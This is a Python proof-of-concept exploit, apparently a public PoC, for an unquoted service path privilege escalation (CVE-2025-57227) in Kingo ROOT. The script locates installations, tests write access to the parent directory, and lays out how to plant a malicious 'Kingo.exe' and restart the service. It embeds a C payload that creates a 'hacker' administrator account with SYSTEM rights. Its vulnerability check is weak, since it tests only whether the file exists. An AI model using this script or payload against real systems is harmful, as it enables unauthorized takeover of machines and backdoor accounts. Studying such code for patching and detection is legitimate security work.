CVE-2025-57227

# CVE-2025-57227 PoC - Unquoted Service Path Privilege Escalation # Target: Kingo ROOT v1.5.8.3353 # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import os import sys import shutil import subprocess def check_vulnerability(): """Check if the system is vulnerable to CVE-2025-57227""" print("[*] Checking for vulnerable Kingo ROOT installation...") # Common installation paths for Kingo ROOT potential_paths = [ r"C:\Program Files\Kingo ROOT", r"C:\Program Files (x86)\Kingo ROOT", r"C:\Kingo ROOT" ] vulnerable_paths = [] for path in potential_paths: if os.path.exists(path): print(f"[+] Found Kingo ROOT installation at: {path}") # Check if service path is unquoted service_exe = os.path.join(path, "bin", "service.exe") if os.path.exists(service_exe): print(f"[+] Service executable found: {service_exe}") vulnerable_paths.append(path) return vulnerable_paths def create_payload(payload_path): """Create a malicious executable to replace the service""" print(f"[*] Creating payload at: {payload_path}") # Create a simple C program that creates a reverse shell or adds admin user # This is a placeholder - actual payload would be compiled binary payload_code = ''' #include <windows.h> #include <stdlib.h> int main() { // This payload would execute with SYSTEM privileges // Example: Create a new administrator user system("net user hacker P@ssw0rd123 /add"); system("net localgroup administrators hacker /add"); // Then execute the legitimate service // ShellExecute(NULL, "open", "C:\\\\Program Files\\\\Kingo ROOT\\\\bin\\\\service.exe", NULL, NULL, SW_HIDE); return 0; } ''' # In real attack, this would be a compiled executable print("[!] Note: This PoC requires a compiled malicious executable") print("[!] The payload should be named 'Kingo.exe' and placed in parent directory") return True def exploit(vulnerable_path): """Exploit the unquoted service path vulnerability""" print(f"[*] Exploiting unquoted service path at: {vulnerable_path}") # The vulnerable path is: C:\Program Files\Kingo ROOT\bin\service.exe # Attack vector: Place malicious 'Kingo.exe' in C:\Program Files\ parent_dir = os.path.dirname(vulnerable_path.rstrip('\\')) malicious_exe = os.path.join(parent_dir, "Kingo.exe") print(f"[+] Target malicious executable location: {malicious_exe}") print("[+] Check write permissions to parent directory") # Check if we can write to parent directory try: test_file = os.path.join(parent_dir, "test_write.tmp") with open(test_file, 'w') as f: f.write("test") os.remove(test_file) print("[+] Write permission confirmed") except: print("[-] No write permission to parent directory") return False print("[*] To complete exploitation:") print(f" 1. Place compiled malicious executable as: {malicious_exe}") print(" 2. Wait for service restart or trigger: sc stop KingoService && sc start KingoService") print(" 3. Malicious code will execute with SYSTEM privileges") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-57227 PoC - Kingo ROOT Unquoted Service Path") print("=" * 60) vulnerable_paths = check_vulnerability() if vulnerable_paths: for path in vulnerable_paths: exploit(path) else: print("[-] No vulnerable Kingo ROOT installation found")

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